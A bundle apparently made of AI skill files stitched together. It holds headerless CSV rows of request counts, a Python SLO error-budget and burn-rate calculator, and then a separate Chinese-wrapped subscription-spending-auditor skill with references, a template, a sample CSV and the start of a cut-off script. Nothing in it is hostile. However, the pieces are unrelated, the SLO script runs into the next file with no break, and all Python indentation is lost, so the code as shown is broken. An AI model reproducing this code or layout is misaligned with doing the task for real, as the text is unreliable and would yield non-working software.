2026-10-18T13:15:00Z,14742,14735
2026-10-18T13:30:00Z,14941,14934
2026-10-18T13:45:00Z,14716,14710
2026-10-18T14:00:00Z,14867,14861
2026-10-18T14:15:00Z,14993,14985
2026-10-18T14:30:00Z,15094,15086
2026-10-18T14:45:00Z,15170,15163
2026-10-18T15:00:00Z,15220,15213
2026-10-18T15:15:00Z,15244,15237
2026-10-18T15:30:00Z,15242,15236
2026-10-18T15:45:00Z,15215,15209
2026-10-18T16:00:00Z,15163,15155
2026-10-18T16:15:00Z,14686,14679
2026-10-18T16:30:00Z,14585,14578
2026-10-18T16:45:00Z,14460,14453
2026-10-18T17:00:00Z,14312,14306
2026-10-18T17:15:00Z,14141,14135
2026-10-18T17:30:00Z,13950,13866
2026-10-18T17:45:00Z,13738,13656
2026-10-18T18:00:00Z,13506,13499
2026-10-18T18:15:00Z,13257,13251
2026-10-18T18:30:00Z,12990,12984
2026-10-18T18:45:00Z,12708,12702
2026-10-18T19:00:00Z,12012,12007
2026-10-18T19:15:00Z,11702,11697
2026-10-18T19:30:00Z,11382,11376
2026-10-18T19:45:00Z,11051,11045
2026-10-18T20:00:00Z,10712,10707
2026-10-18T20:15:00Z,10367,10362
2026-10-18T20:30:00Z,10017,10013
2026-10-18T20:45:00Z,9663,9659
2026-10-18T21:00:00Z,9308,9304
2026-10-18T21:15:00Z,8952,8947
2026-10-18T21:30:00Z,8598,8594
2026-10-18T21:45:00Z,7848,7844
2026-10-18T22:00:00Z,7503,7500
2026-10-18T22:15:00Z,7164,7161
2026-10-18T22:30:00Z,6833,6830
2026-10-18T22:45:00Z,6513,6510
2026-10-18T23:00:00Z,6204,6201
2026-10-18T23:15:00Z,5907,5904
2026-10-18T23:30:00Z,5625,5622
2026-10-18T23:45:00Z,5358,5356
2026-10-19T00:00:00Z,5109,5107
2026-10-19T00:15:00Z,4877,4875
2026-10-19T00:30:00Z,4265,4263
2026-10-19T00:45:00Z,4074,4072
2026-10-19T01:00:00Z,3903,3901
2026-10-19T01:15:00Z,3755,3753
2026-10-19T01:30:00Z,3630,3628
2026-10-19T01:45:00Z,3529,3527
2026-10-19T02:00:00Z,3452,3451
2026-10-19T02:15:00Z,3400,3399
2026-10-19T02:30:00Z,3373,3371
2026-10-19T02:45:00Z,3371,3369
2026-10-19T03:00:00Z,3396,3394
2026-10-19T03:15:00Z,3045,3044
2026-10-19T03:30:00Z,3121,3120
2026-10-19T03:45:00Z,3222,3221
2026-10-19T04:00:00Z,3348,3347
2026-10-19T04:15:00Z,3499,3497
2026-10-19T04:30:00Z,3674,3672
2026-10-19T04:45:00Z,3873,3871
2026-10-19T05:00:00Z,4095,4093
2026-10-19T05:15:00Z,4340,4338
2026-10-19T05:30:00Z,4605,4603
2026-10-19T05:45:00Z,4491,4489
2026-10-19T06:00:00Z,4797,4795
2026-10-19T06:15:00Z,5120,5117
2026-10-19T06:30:00Z,5461,5458
2026-10-19T06:45:00Z,5817,5814
2026-10-19T07:00:00Z,6188,6185
2026-10-19T07:15:00Z,6571,6568
2026-10-19T07:30:00Z,6965,6962
2026-10-19T07:45:00Z,7370,7366
2026-10-19T08:00:00Z,7783,7779
2026-10-19T08:15:00Z,8202,8198
2026-10-19T08:30:00Z,8226,8222
2026-10-19T08:45:00Z,8654,8650
2026-10-19T09:00:00Z,9084,9080
2026-10-19T09:15:00Z,9513,9509
2026-10-19T09:30:00Z,9941,9936
2026-10-19T09:45:00Z,10365,10360
2026-10-19T10:00:00Z,10784,10779
2026-10-19T10:15:00Z,11197,11192
2026-10-19T10:30:00Z,11602,11597
2026-10-19T10:45:00Z,11996,11991
2026-10-19T11:00:00Z,12380,12375
2026-10-19T11:15:00Z,12350,12344
2026-10-19T11:30:00Z,12706,12700
2026-10-19T11:45:00Z,13047,13041
2026-10-19T12:00:00Z,13370,13364
2026-10-19T12:15:00Z,13676,13670
2026-10-19T12:30:00Z,13962,13956
2026-10-19T12:45:00Z,14227,14221
2026-10-19T13:00:00Z,14472,14464
2026-10-19T13:15:00Z,14694,14687
2026-10-19T13:30:00Z,14893,14886
2026-10-19T13:45:00Z,15068,15061
2026-10-19T14:00:00Z,14819,14812
2026-10-19T14:15:00Z,14945,14939
2026-10-19T14:30:00Z,15046,15040
2026-10-19T14:45:00Z,15122,15114
2026-10-19T15:00:00Z,15172,15164
2026-10-19T15:15:00Z,15196,15189
2026-10-19T15:30:00Z,15194,15187
2026-10-19T15:45:00Z,15167,15160
2026-10-19T16:00:00Z,15115,15109
2026-10-19T16:15:00Z,15038,15032
2026-10-19T16:30:00Z,14937,14929
2026-10-19T16:45:00Z,14412,14405
2026-10-19T17:00:00Z,14264,14257
2026-10-19T17:15:00Z,14093,14087
2026-10-19T17:30:00Z,13902,13896
2026-10-19T17:45:00Z,13690,13684
2026-10-19T18:00:00Z,13458,13453
2026-10-19T18:15:00Z,13209,13202
2026-10-19T18:30:00Z,12942,12936
2026-10-19T18:45:00Z,12660,12654
2026-10-19T19:00:00Z,12364,12358
2026-10-19T19:15:00Z,11654,11649
2026-10-19T19:30:00Z,11334,11329
2026-10-19T19:45:00Z,11003,10999
2026-10-19T20:00:00Z,10664,10658
2026-10-19T20:15:00Z,10319,10314
2026-10-19T20:30:00Z,9969,9964
2026-10-19T20:45:00Z,9615,9611
2026-10-19T21:00:00Z,9260,9256
2026-10-19T21:15:00Z,8904,8900
2026-10-19T21:30:00Z,8550,8547
2026-10-19T21:45:00Z,8200,8196
2026-10-19T22:00:00Z,7455,7298
2026-10-19T22:15:00Z,7116,6959
2026-10-19T22:30:00Z,6785,6629
2026-10-19T22:45:00Z,6465,6310
2026-10-19T23:00:00Z,6156,6002
2026-10-19T23:15:00Z,5859,5707
2026-10-19T23:30:00Z,5577,5426
2026-10-19T23:45:00Z,5310,5161
FILE:scripts/slo_budget.py
#!/usr/bin/env python3
"""SLO error budget and burn rate calculator (Python 3 standard library only).
Input: CSV with one row per interval, the timestamp marking the START of the interval, and request
counts. Accepted columns (case-insensitive): timestamp|time|ts, total|requests|count, and either
good|success|ok or bad|errors|failed. Timestamps: ISO 8601 (Z or offset) or Unix seconds.
Math (see references/slo-math.md):
error budget (fraction) = 1 - SLO e.g. 99.9% -> 0.001
error rate over window = sum(bad) / sum(total)
burn rate = error rate / (1 - SLO) 1.0 = spends exactly the budget over the SLO window
budget consumed so far = sum(bad) / ((1 - SLO) * expected requests in the SLO window)
alert threshold = budget share * window hours / long window hours (14.4 = 2% of 30d in 1h)
Default multiwindow, multi-burn-rate policy (Google SRE Workbook): page 2% in 1h (short 5m),
page 5% in 6h (short 30m), ticket 10% in 1d (short 2h), ticket 10% in 3d (short 6h). An alert fires
only when BOTH the long and the short window burn faster than the threshold. Windows shorter than
the data step are rounded up to one step; windows longer than the data are reported as not evaluable.
Usage:
python3 slo_budget.py requests.csv --slo 99.9 --window 30d
python3 slo_budget.py requests.csv --slo 99.5 --window 28d --json
python3 slo_budget.py --allowance --slo 99.95 --window 30d # downtime allowed, no CSV needed
python3 slo_budget.py --self-test
Exit code: 0 OK, 1 a page alert fires or the budget is exhausted, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import json
import re
import statistics
import sys
POLICY = [
# (severity, long window, short window, budget share)
("page", "1h", "5m", 0.02),
("page", "6h", "30m", 0.05),
("ticket", "1d", "2h", 0.10),
("ticket", "3d", "6h", 0.10),
]
ALIASES = {
"ts": ("timestamp", "time", "ts", "date", "datetime"),
"total": ("total", "requests", "count", "events"),
"good": ("good", "success", "ok", "successes"),
"bad": ("bad", "errors", "failed", "failures", "error"),
}
class SLOError(ValueError):
pass
def parse_duration(s):
m = re.fullmatch(r"\s*(\d+(?:\.\d+)?)\s*([smhdw])\s*", str(s).lower())
if not m:
raise SLOError(f"bad duration {s!r} (use e.g. 5m, 1h, 28d)")
return float(m.group(1)) * {"s": 1, "m": 60, "h": 3600, "d": 86400, "w": 604800}[m.group(2)]
def fmt_dur(sec):
sec = int(round(sec))
if sec >= 86400:
d, h = divmod(sec // 3600, 24)
return f"{d}d {h}h" if h else f"{d}d"
if sec >= 3600:
h, m = divmod(sec // 60, 60)
return f"{h}h {m}m" if m else f"{h}h"
if sec >= 60:
m, s = divmod(sec, 60)
return f"{m}m {s}s" if s else f"{m}m"
return f"{sec}s"
def parse_ts(v):
v = v.strip()
if re.fullmatch(r"\d+(\.\d+)?", v):
return dt.datetime.fromtimestamp(float(v), dt.timezone.utc)
t = dt.datetime.fromisoformat(v.replace("Z", "+00:00").replace(" ", "T"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.astimezone(dt.timezone.utc)
def load_rows(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise SLOError("empty CSV")
cols = {}
lower = {f.strip().lower(): f for f in rd.fieldnames}
for key, names in ALIASES.items():
for n in names:
if n in lower:
cols[key] = lower[n]
break
if "ts" not in cols or "total" not in cols or not ({"good", "bad"} & cols.keys()):
raise SLOError(f"need timestamp, total and good or bad columns; got {rd.fieldnames}")
rows = []
for i, r in enumerate(rd, 2):
try:
ts = parse_ts(r[cols["ts"]])
total = int(float(r[cols["total"]]))
bad = int(float(r[cols["bad"]])) if "bad" in cols else total - int(float(r[cols["good"]]))
except (ValueError, TypeError) as e:
raise SLOError(f"line {i}: {e}")
if total < 0 or bad < 0 or bad > total:
raise SLOError(f"line {i}: counts must satisfy 0 <= bad <= total (total={total}, bad={bad})")
rows.append((ts, total, bad))
if len(rows) < 2:
raise SLOError("need at least two rows")
rows.sort(key=lambda r: r[0])
return rows
def analyze(rows, slo_pct, window, now=None, policy=POLICY):
if not 0 < slo_pct < 100:
raise SLOError("SLO must be between 0 and 100 (exclusive), e.g. 99.9")
budget = 1 - slo_pct / 100
win = parse_duration(window)
diffs = [(b[0] - a[0]).total_seconds() for a, b in zip(rows, rows[1:])]
step = statistics.median(diffs)
if step <= 0:
raise SLOError("duplicate timestamps")
first = rows[0][0]
end = (now or rows[-1][0] + dt.timedelta(seconds=step))
covered = (end - first).total_seconds()
expected_rows = int(round(covered / step))
missing = max(0, expected_rows - len(rows))
def window_stats(seconds):
seconds = max(seconds, step)
if seconds > covered + 1e-6:
return None
start = end - dt.timedelta(seconds=seconds)
tot = sum(t for ts, t, b in rows if start <= ts < end)
bad = sum(b for ts, t, b in rows if start <= ts < end)
rate = bad / tot if tot else 0.0
return {"seconds": seconds, "total": tot, "bad": bad, "error_rate": rate, "burn_rate": rate / budget}
total = sum(r[1] for r in rows)
bad = sum(r[2] for r in rows)
req_per_sec = total / covered
expected_window_total = req_per_sec * win
allowed_bad = budget * expected_window_total
consumed = bad / allowed_bad if allowed_bad else 0.0
alerts = []
for sev, lw, sw, share in policy:
thr = share * win / parse_duration(lw)
L, S = window_stats(parse_duration(lw)), window_stats(parse_duration(sw))
if L is None or S is None:
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr, "status": "not evaluable",
"long_burn": None, "short_burn": None})
continue
fires = L["burn_rate"] >= thr and S["burn_rate"] >= thr
alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr,
"status": "FIRING" if fires else "ok",
"long_burn": L["burn_rate"], "short_burn": S["burn_rate"]})
burn = {}
for w in ("5m", "30m", "1h", "2h", "6h", "1d", "3d"):
s = window_stats(parse_duration(w))
burn[w] = None if s is None else s["burn_rate"]
remaining_bad = allowed_bad - bad
exhaust = {}
for w in ("1h", "6h", "1d"):
s = window_stats(parse_duration(w))
if s and s["bad"] > 0 and remaining_bad > 0:
exhaust[w] = remaining_bad / (s["bad"] / s["seconds"])
elif s:
exhaust[w] = 0.0 if remaining_bad <= 0 else None
worst = max(rows, key=lambda r: (r[2] / r[1] if r[1] else 0, r[0]))
return {
"slo_percent": slo_pct, "window": window, "window_seconds": win, "step_seconds": step,
"data_start": first.strftime("%Y-%m-%dT%H:%M:%SZ"), "data_end": end.strftime("%Y-%m-%dT%H:%M:%SZ"),
"rows": len(rows), "missing_intervals": missing,
"total": total, "bad": bad, "sli_percent": 100 * (1 - bad / total) if total else 100.0,
"allowed_bad_in_window": allowed_bad, "budget_consumed": consumed, "budget_remaining": 1 - consumed,
"allowed_downtime_seconds": budget * win,
"burn_rates": burn, "alerts": alerts, "exhaustion_seconds": exhaust,
"worst_interval": {"start": worst[0].strftime("%Y-%m-%dT%H:%M:%SZ"), "total": worst[1], "bad": worst[2],
"error_rate": worst[2] / worst[1] if worst[1] else 0.0},
}
def allowance_table(slo_pct, window):
win = parse_duration(window)
b = 1 - slo_pct / 100
return {"slo_percent": slo_pct, "window": window, "allowed_downtime_seconds": b * win,
"per_day_seconds": b * 86400, "per_week_seconds": b * 604800,
"thresholds": [{"severity": s, "long": l, "short": sh, "share": sha, "burn_rate": sha * win / parse_duration(l)}
for s, l, sh, sha in POLICY]}
def to_markdown(r):
pct = lambda x: f"{100 * x:.1f}%"
out = [f"# SLO error budget report", "",
f"**SLO:** {r['slo_percent']}% over {r['window']} **Data:** {r['data_start']} to {r['data_end']} "
f"({r['rows']} rows, step {fmt_dur(r['step_seconds'])}, {r['missing_intervals']} missing)",
f"**SLI over data:** {r['sli_percent']:.4f}% ({r['bad']:,} bad of {r['total']:,})",
f"**Error budget:** {r['allowed_bad_in_window']:,.0f} bad requests per {r['window']} at current traffic "
f"(= {fmt_dur(r['allowed_downtime_seconds'])} of full downtime)",
f"**Consumed so far:** {pct(r['budget_consumed'])} **Remaining:** {pct(r['budget_remaining'])}", "",
"## Burn rates (1.0 = on budget)", "", "| Window | Burn rate |", "|---|---|"]
for w, v in r["burn_rates"].items():
out.append(f"| {w} | {'n/a' if v is None else f'{v:.2f}'} |")
out += ["", "## Alert policy", "", "| Severity | Long / short window | Threshold | Long burn | Short burn | Status |",
"|---|---|---|---|---|---|"]
for a in r["alerts"]:
lb = "n/a" if a["long_burn"] is None else f"{a['long_burn']:.2f}"
sb = "n/a" if a["short_burn"] is None else f"{a['short_burn']:.2f}"
out.append(f"| {a['severity']} | {a['long']} / {a['short']} | {a['threshold']:.1f} | {lb} | {sb} | {a['status']} |")
out += ["", "## Time to exhaustion at recent burn"]
for w, s in r["exhaustion_seconds"].items():
out.append(f"- at last {w} rate: " + ("budget already exhausted" if s == 0 else ("no errors in window" if s is None else fmt_dur(s))))
wi = r["worst_interval"]
out += ["", f"Worst interval: {wi['start']} with {wi['bad']:,} bad of {wi['total']:,} ({100 * wi['error_rate']:.2f}%)"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
t0 = dt.datetime(2026, 1, 1, tzinfo=dt.timezone.utc)
def series(n, step_min, total, bad_fn):
return [(t0 + dt.timedelta(minutes=step_min * i), total, bad_fn(i)) for i in range(n)]
ok("duration parse", parse_duration("28d") == 28 * 86400 and parse_duration("5m") == 300)
ok("duration format", fmt_dur(43.2 * 60) == "43m 12s" and fmt_dur(86400 * 3) == "3d")
a = allowance_table(99.9, "30d")
ok("99.9% of 30d allows 43m 12s", round(a["allowed_downtime_seconds"]) == 2592)
ok("page threshold 14.4 for 30d", abs(a["thresholds"][0]["burn_rate"] - 14.4) < 1e-9)
ok("28d threshold scales to 13.44", abs(allowance_table(99.9, "28d")["thresholds"][0]["burn_rate"] - 13.44) < 1e-9)
flat = series(4 * 24 * 4, 15, 10000, lambda i: 10) # 0.1% errors at 99.9 -> burn 1.0
r = analyze(flat, 99.9, "30d")
ok("steady burn rate is 1.0", abs(r["burn_rates"]["1h"] - 1.0) < 1e-9 and abs(r["burn_rates"]["1d"] - 1.0) < 1e-9)
ok("no alert at burn 1.0", all(x["status"] != "FIRING" for x in r["alerts"][:3]))
ok("burn 1.0 over 4 of 30 days consumes 4/30", abs(r["budget_consumed"] - 4 / 30) < 1e-9)
ok("SLI computed", abs(r["sli_percent"] - 99.9) < 1e-9)
spike = series(4 * 24 * 4, 15, 10000, lambda i: 200 if i >= 4 * 24 * 4 - 4 else 5) # last hour 2% errors
r = analyze(spike, 99.9, "30d")
ok("fast burn pages (1h/5m)", r["alerts"][0]["status"] == "FIRING")
ok("short window rounded up to step", abs(r["burn_rates"]["5m"] - 20.0) < 1e-9)
ok("6h page not firing for 1h spike", r["alerts"][1]["status"] == "ok")
recovered = spike[:-2] + [(spike[-2][0], 10000, 5), (spike[-1][0], 10000, 5)]
r = analyze(recovered, 99.9, "30d")
ok("short window resets page after recovery", r["alerts"][0]["status"] == "ok")
short = series(8, 15, 1000, lambda i: 0)
r = analyze(short, 99.9, "30d")
ok("long windows not evaluable on 2h of data", r["alerts"][3]["status"] == "not evaluable" and r["burn_rates"]["3d"] is None)
gap = flat[:10] + flat[12:]
ok("missing intervals counted", analyze(gap, 99.9, "30d")["missing_intervals"] == 2)
ok("exhaustion time at burn 1", abs(analyze(flat, 99.9, "30d")["exhaustion_seconds"]["1d"] - 26 * 86400) < 1)
rows = load_rows(["time,requests,errors", "2026-01-01T00:00:00Z,100,1", "2026-01-01T00:05:00Z,100,0"])
ok("aliases requests/errors", rows[0][1] == 100 and rows[0][2] == 1)
rows = load_rows(["ts,total,good", "1767225600,50,49", "1767225900,50,50"])
ok("unix timestamps and good column", rows[0][2] == 1 and rows[0][0] == t0)
for data, label in [(["ts,total", "x,1"], "missing good/bad rejected"),
(["ts,total,bad", "2026-01-01T00:00:00Z,10,11", "2026-01-01T00:05:00Z,10,0"], "bad > total rejected"),
(["ts,total,bad", "nope,10,1", "2026-01-01T00:05:00Z,10,0"], "bad timestamp rejected")]:
try:
load_rows(data)
ok(label, False)
except SLOError:
ok(label, True)
try:
analyze(flat, 100, "30d")
ok("SLO 100 rejected", False)
except SLOError:
ok("SLO 100 rejected", True)
ok("markdown has alert table", "## Alert policy" in to_markdown(analyze(flat, 99.9, "30d")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Compute SLO error budget consumption and multiwindow burn-rate alerts.")
ap.add_argument("file", nargs="?", help="CSV of request counts per interval ('-' for stdin)")
ap.add_argument("--slo", type=float, default=99.9, help="target in percent (default 99.9)")
ap.add_argument("--window", default="30d", help="SLO window, e.g. 28d or 30d (default 30d)")
ap.add_argument("--now", help="evaluate as of this ISO time (default: end of the last interval)")
ap.add_argument("--allowance", action="store_true", help="print allowed downtime and alert thresholds only")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
if a.allowance:
t = allowance_table(a.slo, a.window)
if a.json:
print(json.dumps(t, indent=2))
else:
print(f"SLO {a.slo}% over {a.window}: {fmt_dur(t['allowed_downtime_seconds'])} of full downtime "
f"({fmt_dur(t['per_day_seconds'])}/day, {fmt_dur(t['per_week_seconds'])}/week)")
for x in t["thresholds"]:
print(f" {x['severity']:6} {x['share'] * 100:.0f}% of budget in {x['long']} (short {x['short']}): burn rate >= {x['burn_rate']:.2f}")
return 0
if not a.file:
ap.error("CSV file required (or --allowance / --self-test)")
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
r = analyze(load_rows(lines), a.slo, a.window, parse_ts(a.now) if a.now else None)
except (OSError, SLOError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else to_markdown(r))
paging = any(x["severity"] == "page" and x["status"] == "FIRING" for x in r["alerts"])
return 1 if paging or r["budget_remaining"] <= 0 else 0
if __name__ == "__main__":
sys.exit(main())从简单 CSV 审计流媒体/App/健身房等经常性订阅的真实月费。
---
name: subscription-spending-auditor
description: 从简单 CSV 审计流媒体/App/健身房等经常性订阅的真实月费。
---
# 订阅支出审计器
你是「订阅支出审计器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Subscription Spending Auditor
You help people see what their subscriptions really cost and decide what to keep. You turn bank statement lines, app store receipts, or a rough list into one table, convert every charge to the same currency and to monthly and yearly amounts, and point out the easy wins: services nobody uses, three video services where one would do, trials about to turn into paid plans, quiet price increases, and annual plans that are cheaper if the service is kept anyway. The user decides; you make the trade-offs visible.
## Files in this skill
- `scripts/sub_audit.py` - reads a subscriptions CSV and prints totals, your share of shared plans, category totals, upcoming charges, and flags (TRIAL, RENEWS_YEARLY, UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES) (Python 3 standard library only)
- `references/cost-normalization.md` - how cycles, currencies, shared plans, trials and price changes are converted, with the formulas
- `references/cancellation-playbook.md` - how to cancel, pause, downgrade or negotiate, and how to avoid surprise renewals
- `templates/subscription-review.md` - a one-page review with decisions and reminders
- `examples/subscriptions.csv` - 12 sample subscriptions in EUR and USD with weekly, monthly, quarterly and yearly cycles, a shared family plan, a trial, unused services and price increases
## Workflow
### 1. Build the list
Ask the user to scan the last 12 months of bank and card statements, app store and Google Play subscriptions, PayPal automatic payments, and email receipts (search "renewal", "subscription", "receipt", "trial"). Put each item in the CSV shape of `examples/subscriptions.csv`. Required columns: name, amount, cycle. Helpful: currency, next_renewal, category, last_used (an honest guess is fine), users (people sharing the plan), trial_end and paid_after_trial, previous_amount, annual_price.
### 2. Run the auditor
```
python3 scripts/sub_audit.py examples/subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 scripts/sub_audit.py subs.csv --currency USD --rate EUR=1.08 --rate GBP=1.27 --days 45 --unused-days 60
python3 scripts/sub_audit.py subs.csv --json > audit.json
python3 scripts/sub_audit.py --self-test
```
Rates are "1 unit of that currency = X report currency"; use the rate on the user's card statement. Exit code 2 means bad input (unknown cycle, missing rate, bad date, negative amount).
### 3. Walk through the action list
Order of attention: TRIAL (deadline soonest), RENEWS_YEARLY (a big charge is coming), UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES. For each item, ask one question: "Would you sign up for this today at this price?" Offer cancel, pause, downgrade, share, or switch to annual (only for services they are sure to keep 12 months).
### 4. Act safely
Use `references/cancellation-playbook.md`. Cancel through the official account page or app store, screenshot the confirmation, and set calendar reminders 3 days before trial ends and yearly renewals.
### 5. Summarize
Fill `templates/subscription-review.md`: before and after monthly and yearly totals, decisions, and reminder dates.
## Example result
For `examples/subscriptions.csv` with USD=0.92 on 2026-10-20: 136.65 EUR/month (1,639.80 EUR/year), 112.66 EUR/month as the user's share, 699.49 EUR/year in four unused services, a DesignPro trial converting on 2026-10-25 to 22.99 EUR/month, a 99.99 EUR CloudVault renewal on 2026-11-05, three overlapping video services, three price increases worth 108 EUR/year, and 237.87 EUR of charges in the next 30 days.
## Rules
- Never ask for card numbers, bank logins, or passwords; amounts and dates are enough.
- Do not cancel anything or contact providers on the user's behalf unless they ask; draft the message instead.
- Keep it judgment-free: some subscriptions are worth it. Present costs and let the user choose.
- Trials count as 0 in current totals; always show what they cost after conversion.
FILE:references/cost-normalization.md
# Cost Normalization
## Charges per month by cycle
| Cycle | Charges per month | Yearly cost of 10.00 |
|---|---|---|
| weekly | 4.348125 (365.25 / 12 / 7) | 521.78 |
| biweekly | 2.1740625 | 260.89 |
| monthly | 1 | 120.00 |
| quarterly | 1/3 | 40.00 |
| semiannual | 1/6 | 20.00 |
| yearly | 1/12 | 10.00 |
| every N days | 30.436875 / N | |
monthly cost = charge x rate x charges per month; yearly cost = monthly x 12. Rounding to cents happens only at the end, so totals do not drift.
## Currencies
- Use one report currency and one rate per foreign currency, e.g. `--rate USD=0.92` (1 USD = 0.92 EUR).
- Best source: the converted amount on the card statement divided by the original amount. It includes the card's FX margin.
- Mention foreign transaction fees separately if the card charges them (often 1-3%).
## Shared plans
- `users` = number of people sharing. Your share = cost / users.
- Show both the full cost (what the card pays) and your share (what you would pay after others pay you back). If others do not actually pay, use users = 1.
## Trials
- A trial has amount 0, `trial_end`, and `paid_after_trial`. Charges on or after `trial_end` use the paid amount in the upcoming-charges list.
- Totals show today's cost (0) so the user sees what changes if they do nothing: the TRIAL flag gives the converted monthly and yearly price.
## Price changes
- `previous_amount` = the price before the latest increase. Yearly impact = (new - old) x rate x charges per month x 12.
- Providers often announce increases by email 30 days ahead; search for "price change" and "new price".
## Annual vs monthly
- Annual saves money only if the service would be kept for 12 months anyway. Saving = monthly cost x 12 - annual price.
- Annual plans are usually not refundable after a short window; switch only for services used every week.
## Renewal dates
- `next_renewal` in the past is rolled forward by the cycle until it is today or later.
- Month-end dates clamp: a plan renewing on the 31st renews on Feb 28 (or 29) and then on the 28th or 31st depending on the provider; check the receipt.
FILE:references/cancellation-playbook.md
# Cancellation and Downgrade Playbook
## Where to cancel
| Billed through | Where to cancel |
|---|---|
| Apple App Store | Settings > your name > Subscriptions |
| Google Play | Play Store > profile > Payments & subscriptions > Subscriptions |
| PayPal | Settings > Payments > Manage automatic payments (stops payments, also cancel with the provider) |
| Directly with the service | Account or billing page on the website; some require a chat or phone call |
| Mobile carrier or TV bundle | Carrier account or support line |
Deleting an app does not cancel its subscription.
## Steps
1. Check the renewal date and whether cancelling ends access now or at the end of the period (usually the end).
2. Export anything you want to keep (photos, playlists, notes, workout history).
3. Cancel through the official channel above, not through links in unexpected emails.
4. Save proof: confirmation email or screenshot with date.
5. Watch the next statement; dispute a charge after cancellation with the provider first, then the card issuer.
## Alternatives to cancelling
- **Pause** (gyms, meal kits, some streaming services) for travel or busy months.
- **Downgrade** to an ad-supported, single-screen, or smaller storage tier.
- **Rotate** streaming: keep one service at a time and switch monthly for the shows you want.
- **Share** a family plan with your household, within the provider's terms.
- **Ask** for a retention offer: many services offer a discount when you start cancelling. Decide your walk-away price first.
## Trials
- Set a reminder 2-3 days before `trial_end`; many trials can be cancelled right after signing up while keeping the trial period.
- Use a virtual card with a limit or a single-merchant card for trials if the bank offers it.
## Message template (support chat or email)
> Hello, please cancel my <service> subscription on the account <email> effective at the end of the current billing period, and confirm by email that no further charges will be made. Thank you.
## Habits that keep costs down
- Review subscriptions every quarter with this skill.
- Keep one calendar with all yearly renewal dates.
- Before subscribing, ask: will I use it at least weekly?
FILE:templates/subscription-review.md
# Subscription Review - <name> - <date>
**Report currency:** <EUR> **Rates:** <1 USD = 0.92 EUR (card statement)>
**Before:** <monthly> /month = <yearly> /year (your share <monthly> /month)
**After decisions:** <monthly> /month = <yearly> /year **Saved per year:** <amount>
## Decisions
| Subscription | Cost per year | Flag | Decision | Done |
|---|---|---|---|---|
| | | | keep / cancel / pause / downgrade / switch to annual | [ ] |
## Deadlines and reminders
| Date | What | Reminder set |
|---|---|---|
| | trial ends | [ ] |
| | yearly renewal | [ ] |
## Next 30 days of charges
- <date> <name> <amount>
## Notes
- Shared plans: <who pays what back>
- Price increases noticed: <service old -> new>
- Next review: <date, about 3 months from now>
FILE:examples/subscriptions.csv
name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial
StreamFlix Premium,17.99,EUR,monthly,2026-10-27,Video streaming,2026-10-18,2,,15.99,,
CineBox,8.99,EUR,monthly,2026-11-03,Video streaming,2026-08-02,1,,,89.90,
AnimeNow,6.49,USD,monthly,2026-10-22,Video streaming,2026-07-15,1,,,,
TuneWave Family,19.99,EUR,monthly,2026-11-10,Music,2026-10-19,4,,16.99,,
CloudVault 2 TB,99.99,EUR,yearly,2026-11-05,Cloud storage,2026-10-19,1,,,,
PhotoCloud 200 GB,2.99,EUR,monthly,2026-11-01,Cloud storage,2026-10-10,1,,,29.99,
FitPulse Gym,39.00,EUR,monthly,2026-11-01,Fitness,2026-09-04,1,,35.00,,
Yoga Daily App,59.99,USD,yearly,2027-03-14,Fitness,2026-10-12,1,,,,
NewsLine Digital,4.99,EUR,weekly,2026-10-23,News,2026-10-19,1,,,,
PasswordSafe,36.00,USD,yearly,2027-01-20,Software,2026-10-19,1,,,,
DesignPro Trial,0.00,USD,monthly,2026-10-25,Design,2026-10-02,1,2026-10-25,,,24.99
LangLeap Plus,12.99,EUR,quarterly,2026-12-01,Learning,2026-06-30,1,,,,
FILE:scripts/sub_audit.py
#!/usr/bin/env python3
"""Subscription spending auditor (Python 3 standard library only).
Input CSV columns (header names are case-insensitive; only name, amount, cycle are required):
name, amount, currency, cycle, next_renewal, category, last_used, users, trial_end,
previous_amount, annual_price, paid_after_trial
cycle: weekly, biweekly, monthly, quarterly, semiannual, yearly/annual, or "every N days|weeks|months|years"
(also short forms like 2w, 3m, 1y).
users: how many people share the plan; your share = amount / users (default 1).
trial_end + paid_after_trial: a free trial (amount 0) that converts to paid_after_trial on trial_end.
Reports, all converted to one currency with explicit rates (--rate USD=0.92):
monthly and yearly cost per item and in total, by category, your share of shared plans,
renewals in the next --days days (past dates are rolled forward by the cycle),
flags: UNUSED (last_used older than --unused-days), OVERLAP (several items in one category),
TRIAL (trial ends within --days; amount after trial if given), PRICE_UP (amount > previous_amount),
ANNUAL_SAVES (annual_price cheaper than 12 x monthly), RENEWS_YEARLY (a yearly charge within --days).
Usage:
python3 sub_audit.py subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 sub_audit.py subscriptions.csv --json
python3 sub_audit.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import calendar
import csv
import datetime as dt
import json
import re
import sys
from decimal import Decimal, ROUND_HALF_UP
NAMED = {"weekly": (1, "w"), "biweekly": (2, "w"), "fortnightly": (2, "w"), "monthly": (1, "m"),
"bimonthly": (2, "m"), "quarterly": (3, "m"), "semiannual": (6, "m"), "semiannually": (6, "m"),
"half-yearly": (6, "m"), "yearly": (12, "m"), "annual": (12, "m"), "annually": (12, "m")}
UNIT = {"d": "d", "day": "d", "days": "d", "w": "w", "week": "w", "weeks": "w", "m": "m", "month": "m",
"months": "m", "y": "y", "year": "y", "years": "y"}
